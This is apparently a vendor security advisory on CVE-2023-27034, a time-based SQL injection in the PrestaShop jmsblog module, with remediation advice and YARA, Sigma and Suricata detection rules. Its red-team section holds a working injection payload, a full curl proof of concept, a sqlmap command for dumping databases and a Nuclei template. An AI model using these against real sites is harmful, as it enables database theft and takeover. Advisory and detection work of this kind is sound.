CVE-2023-27034

Executive Summary

CVE-2023-27034 is a critical SQL injection vulnerability discovered in the PrestaShop module jmsblog (version 2.5.5), developed by Joommasters. The flaw resides in the comment submission functionality, allowing an unauthenticated attacker to inject malicious SQL queries via the email parameter. Successful exploitation can lead to unauthorized data access, credential theft, and full compromise of the underlying database and server. The vulnerability has a CVSS score of 9.8 (Critical) and is actively weaponized with public proof-of-concept (PoC) code and a Nuclei template.

Supply Chain & Package Security

This vulnerability affects a third-party module distributed through the PrestaShop add-ons marketplace and bundled with Joommasters themes. As a supply chain risk, any PrestaShop instance using the jmsblog module version 2.5.5 is exposed. No official patch has been released, and the vendor's status remains unknown, leaving users reliant on manual mitigation or module removal.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable without authentication, making it a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a time-based blind SQL injection in the email parameter of the comment submission endpoint. The vulnerable code path is in /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1. The application fails to sanitize user input before constructing SQL queries, allowing an attacker to inject conditional sleep statements.

Injection Point:

• Parameter: email
• Payload: 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

The payload uses a time-based technique: if the database responds after a 6-second delay, the injection is successful. This allows extraction of data character by character without direct output.

Root Cause: Lack of parameterized queries or input validation in the module's comment handling logic.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the module's PHP files handling comment submission. A secure implementation would use prepared statements or parameterized queries.

Vulnerable Code (Conceptual):

$email = $_POST['email'];
$sql = "INSERT INTO comments (email, comment) VALUES ('$email', '$comment')";
mysqli_query($conn, $sql);

Patched Code (Conceptual):

$email = $_POST['email'];
$stmt = $conn->prepare("INSERT INTO comments (email, comment) VALUES (?, ?)");
$stmt->bind_param("ss", $email, $comment);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a PrestaShop instance with the jmsblog module version 2.5.5.
2. Ensure the module is active and accessible via /module/jmsblog/.

Exploitation Steps:

1. Use the provided Nuclei template or manual curl command to test for time-based injection.
2. Extract database information using tools like sqlmap:

   sqlmap -u "http://target/module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1" --data="comment=555&customer_name=&email=test@test.com&post_id=1&post_id_comment_reply=1&submitComment=submitComment=" --technique=T --time-sec=6 --batch
   

3. Dump tables, credentials, and sensitive data.

Manual PoC (curl):

curl -X POST "http://target/module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-binary $'------BOUNDARY\r\nContent-Disposition: form-data; name="comment"\r\n\r\n555\r\n------BOUNDARY\r\nContent-Disposition: form-data; name="customer_name"\r\n\r\n\r\n------BOUNDARY\r\nContent-Disposition: form-data; name="email"\r\n\r\n0\'XOR(if(now()=sysdate(),sleep(6),0))XOR\'Z\r\n------BOUNDARY\r\nContent-Disposition: form-data; name="post_id"\r\n\r\n1\r\n------BOUNDARY\r\nContent-Disposition: form-data; name="post_id_comment_reply"\r\n\r\n1\r\n------BOUNDARY\r\nContent-Disposition: form-data; name="submitComment"\r\n\r\nsubmitComment=\r\n------BOUNDARY--'

Blue Team

Detection:

• Monitor for HTTP POST requests to /module/jmsblog/index.php with parameters action=submitComment and suspicious email values containing SQL keywords or sleep functions.
• Look for response delays >5 seconds from the same endpoint.

Hunting:

• Search web server logs for patterns like email=0'XOR or sleep(.
• Use the Sigma rule below to detect time-based SQLi attempts.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1
  • Payloads containing sleep( or XOR in the email parameter.
  • Response times exceeding 5 seconds for the above endpoint.

• File System:

  • Presence of the jmsblog module directory under /modules/jmsblog/ in PrestaShop installations.

• Database:

  • Unauthorized queries or data exfiltration from the ps_comment or similar tables.

Detection Engineering

YARA Rule

rule CVE_2023_27034_SQLi_Email_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2023-27034 in jmsblog module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27034"
    strings:
        $payload1 = "0'XOR(if(now()=sysdate(),sleep(" ascii wide nocase
        $payload2 = "0'XOR(if(now()=sysdate(),sleep(" ascii wide nocase
        $payload3 = "sleep(" ascii wide nocase
        $payload4 = "XOR'Z" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-27034 - PrestaShop jmsblog SQL Injection Attempt
id: 7b8f3a2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects time-based SQL injection attempts against the jmsblog module
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/module/jmsblog/index.php?action=submitComment'
        cs-uri-query|contains: 'controller=post'
        cs-uri-query|contains: 'fc=module'
        cs-uri-query|contains: 'module=jmsblog'
    keywords:
        - 'sleep('
        - 'XOR'
        - '0\'XOR'
    condition: selection and keywords
falsepositives:
    - Legitimate use of sleep function in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-27034 - PrestaShop jmsblog SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/module/jmsblog/index.php"; http_uri; content:"action=submitComment"; http_uri; content:"controller=post"; http_uri; content:"fc=module"; http_uri; content:"module=jmsblog"; http_uri; pcre:"/email=0%27XOR\(if\(now\(\)=sysdate\(\),sleep\(/Pi"; reference:cve,2023-27034; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-27034

info:
  name: Jms Blog - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    The module Jms Blog (jmsblog) from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and its underlying infrastructure.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27034
    - https://security.friendsofpresta.org/modules/2023/03/13/jmsblog.html
    - https://github.com/advisories/GHSA-7jr7-v6gv-m656
    - https://friends-of-presta.github.io/security-advisories/modules/2023/03/13/jmsblog.html
    - https://github.com/codeb0ss/CVE-2023-27034-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27034
    cwe-id: CWE-89
    epss-score: 0.90497
    epss-percentile: 0.99614
    cpe: cpe:2.3:a:joommasters:jms_blog:2.5.5:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 2
    vendor: joommasters
    product: jms_blog
    framework: prestashop
  tags: time-based-sqli,cve2023,cve,prestashop,prestashop-module,sqli,intrusive,joommasters,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "jmsblog")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
        X-Requested-With: XMLHttpRequest

        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="comment"

        555
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="customer_name"


        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="email"

        0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="post_id"

        1
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="post_id_comment_reply"

        1
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="submitComment"

        submitComment=
        ------------YWJkMTQzNDcw--

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
# digest: 490a004630440220344625bc9f7ba94ba8be1146ef7b3bebf7d2638b2dd4ae2843ff5b7e85adf543022031af3e4c004a7f83696b28d8bd876cab0f4c2c9f79adfc80f4e7e01455434fd1:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the jmsblog module from all PrestaShop installations until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing sleep( or XOR in the email parameter.
3. Restrict access to the /module/jmsblog/ path via .htaccess or server configuration.

Long-Term Fix:

• Contact the vendor for an official patch or consider migrating to an alternative blog module.
• Apply input validation and parameterized queries to all user-supplied data in custom modules.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
• Review web server logs for anomalous POST requests to the vulnerable endpoint.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5DFDBB450A9911B732E04939] */}